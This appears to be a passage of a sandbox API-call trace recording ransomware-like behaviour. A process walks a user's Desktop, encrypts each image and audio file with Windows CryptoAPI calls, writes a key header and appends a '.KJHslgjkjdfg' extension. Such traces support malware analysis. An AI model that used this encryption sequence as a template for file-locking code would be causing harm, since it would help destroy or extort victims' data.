[0146.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.079] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.079] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.079] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11f6d, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x11f6d, lpOverlapped=0x0) returned 1 [0146.080] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x11f70, dwBufLen=0x11f70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x11f70) returned 1 [0146.082] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.082] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11f70, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x11f70, lpOverlapped=0x0) returned 1 [0146.082] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.082] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x12044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.082] SetEndOfFile (hFile=0xc0) returned 1 [0146.087] GetProcessHeap () returned 0x2ef0000 [0146.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.087] GetProcessHeap () returned 0x2ef0000 [0146.087] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.087] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kxfgdpRT3rRCpI.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kxfgdprt3rrcpi.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kxfgdpRT3rRCpI.gif.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kxfgdprt3rrcpi.gif.kjhslgjkjdfg")) returned 1 [0146.091] CloseHandle (hObject=0xc0) returned 1 [0146.092] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3484bb0, ftCreationTime.dwHighDateTime=0x1d5e3d0, ftLastAccessTime.dwLowDateTime=0xdf4fa730, ftLastAccessTime.dwHighDateTime=0x1d5ded4, ftLastWriteTime.dwLowDateTime=0xdf4fa730, ftLastWriteTime.dwHighDateTime=0x1d5ded4, nFileSizeHigh=0x0, nFileSizeLow=0x2ffd, dwReserved0=0x0, dwReserved1=0xffff, cFileName="MbWmPYs1JCn.wav", cAlternateFileName="MBWMPY~1.WAV")) returned 1 [0146.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MbWmPYs1JCn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mbwmpys1jcn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.092] GetProcessHeap () returned 0x2ef0000 [0146.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.092] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.092] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.092] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x3, lpOverlapped=0x0) returned 1 [0146.095] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.095] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.095] GetProcessHeap () returned 0x2ef0000 [0146.095] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.095] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.095] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.095] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.095] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.095] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.095] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.095] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.096] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.096] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.096] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.096] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.096] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2ffd, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x2ffd, lpOverlapped=0x0) returned 1 [0146.097] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x3000, dwBufLen=0x3000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x3000) returned 1 [0146.097] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x3000, lpOverlapped=0x0) returned 1 [0146.097] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.097] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x30d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.097] SetEndOfFile (hFile=0xc0) returned 1 [0146.101] GetProcessHeap () returned 0x2ef0000 [0146.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.101] GetProcessHeap () returned 0x2ef0000 [0146.101] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.101] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MbWmPYs1JCn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mbwmpys1jcn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MbWmPYs1JCn.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mbwmpys1jcn.wav.kjhslgjkjdfg")) returned 1 [0146.104] CloseHandle (hObject=0xc0) returned 1 [0146.104] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18840aa0, ftCreationTime.dwHighDateTime=0x1d5e3da, ftLastAccessTime.dwLowDateTime=0xb76da0, ftLastAccessTime.dwHighDateTime=0x1d5e38e, ftLastWriteTime.dwLowDateTime=0xb76da0, ftLastWriteTime.dwHighDateTime=0x1d5e38e, nFileSizeHigh=0x0, nFileSizeLow=0x1255f, dwReserved0=0x0, dwReserved1=0xffff, cFileName="O7gTh0iVco uHDsw.wav", cAlternateFileName="O7GTH0~1.WAV")) returned 1 [0146.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O7gTh0iVco uHDsw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o7gth0ivco uhdsw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.105] GetProcessHeap () returned 0x2ef0000 [0146.105] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.105] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.105] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.105] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x1, lpOverlapped=0x0) returned 1 [0146.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.108] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.108] GetProcessHeap () returned 0x2ef0000 [0146.108] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.108] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.108] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.108] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.108] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.108] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.108] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.108] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.109] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.109] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.109] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.109] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.109] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1255f, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x1255f, lpOverlapped=0x0) returned 1 [0146.110] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x12560, dwBufLen=0x12560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x12560) returned 1 [0146.111] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.111] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12560, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x12560, lpOverlapped=0x0) returned 1 [0146.111] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.111] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x12644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.112] SetEndOfFile (hFile=0xc0) returned 1 [0146.115] GetProcessHeap () returned 0x2ef0000 [0146.115] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.115] GetProcessHeap () returned 0x2ef0000 [0146.115] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O7gTh0iVco uHDsw.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o7gth0ivco uhdsw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\O7gTh0iVco uHDsw.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\o7gth0ivco uhdsw.wav.kjhslgjkjdfg")) returned 1 [0146.118] CloseHandle (hObject=0xc0) returned 1 [0146.118] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce4b700, ftCreationTime.dwHighDateTime=0x1d62701, ftLastAccessTime.dwLowDateTime=0xcd7d4d80, ftLastAccessTime.dwHighDateTime=0x1d62701, ftLastWriteTime.dwLowDateTime=0x95fe500, ftLastWriteTime.dwHighDateTime=0x1d626f9, nFileSizeHigh=0x0, nFileSizeLow=0x2d400, dwReserved0=0x0, dwReserved1=0xffff, cFileName="opboohpueclon.exe", cAlternateFileName="OPBOOH~1.EXE")) returned 1 [0146.118] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3ebab60, ftCreationTime.dwHighDateTime=0x1d5dd51, ftLastAccessTime.dwLowDateTime=0x7cca0be0, ftLastAccessTime.dwHighDateTime=0x1d5da07, ftLastWriteTime.dwLowDateTime=0x7cca0be0, ftLastWriteTime.dwHighDateTime=0x1d5da07, nFileSizeHigh=0x0, nFileSizeLow=0x59ec, dwReserved0=0x0, dwReserved1=0xffff, cFileName="OuWPBZLK5D1Uz9QX.wav", cAlternateFileName="OUWPBZ~1.WAV")) returned 1 [0146.118] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OuWPBZLK5D1Uz9QX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ouwpbzlk5d1uz9qx.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.118] GetProcessHeap () returned 0x2ef0000 [0146.118] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.118] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.119] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.119] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.124] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.124] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.124] GetProcessHeap () returned 0x2ef0000 [0146.124] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.124] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.124] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.124] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.124] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.124] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.124] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.124] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.124] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.124] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.124] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.125] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.125] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59ec, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x59ec, lpOverlapped=0x0) returned 1 [0146.126] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x59f0, dwBufLen=0x59f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x59f0) returned 1 [0146.126] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.126] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x59f0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x59f0, lpOverlapped=0x0) returned 1 [0146.126] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.126] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x5ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.126] SetEndOfFile (hFile=0xc0) returned 1 [0146.130] GetProcessHeap () returned 0x2ef0000 [0146.130] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.130] GetProcessHeap () returned 0x2ef0000 [0146.130] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.130] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OuWPBZLK5D1Uz9QX.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ouwpbzlk5d1uz9qx.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OuWPBZLK5D1Uz9QX.wav.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ouwpbzlk5d1uz9qx.wav.kjhslgjkjdfg")) returned 1 [0146.133] CloseHandle (hObject=0xc0) returned 1 [0146.133] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41c1ea20, ftCreationTime.dwHighDateTime=0x1d5dc66, ftLastAccessTime.dwLowDateTime=0xf185be40, ftLastAccessTime.dwHighDateTime=0x1d5e1b2, ftLastWriteTime.dwLowDateTime=0xf185be40, ftLastWriteTime.dwHighDateTime=0x1d5e1b2, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0xffff, cFileName="pXm 6BZk.png", cAlternateFileName="PXM6BZ~1.PNG")) returned 1 [0146.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXm 6BZk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxm 6bzk.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.133] GetProcessHeap () returned 0x2ef0000 [0146.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.133] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.133] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.134] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.134] GetProcessHeap () returned 0x2ef0000 [0146.134] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.134] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.134] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.134] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.135] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.135] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.135] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.135] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.135] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, 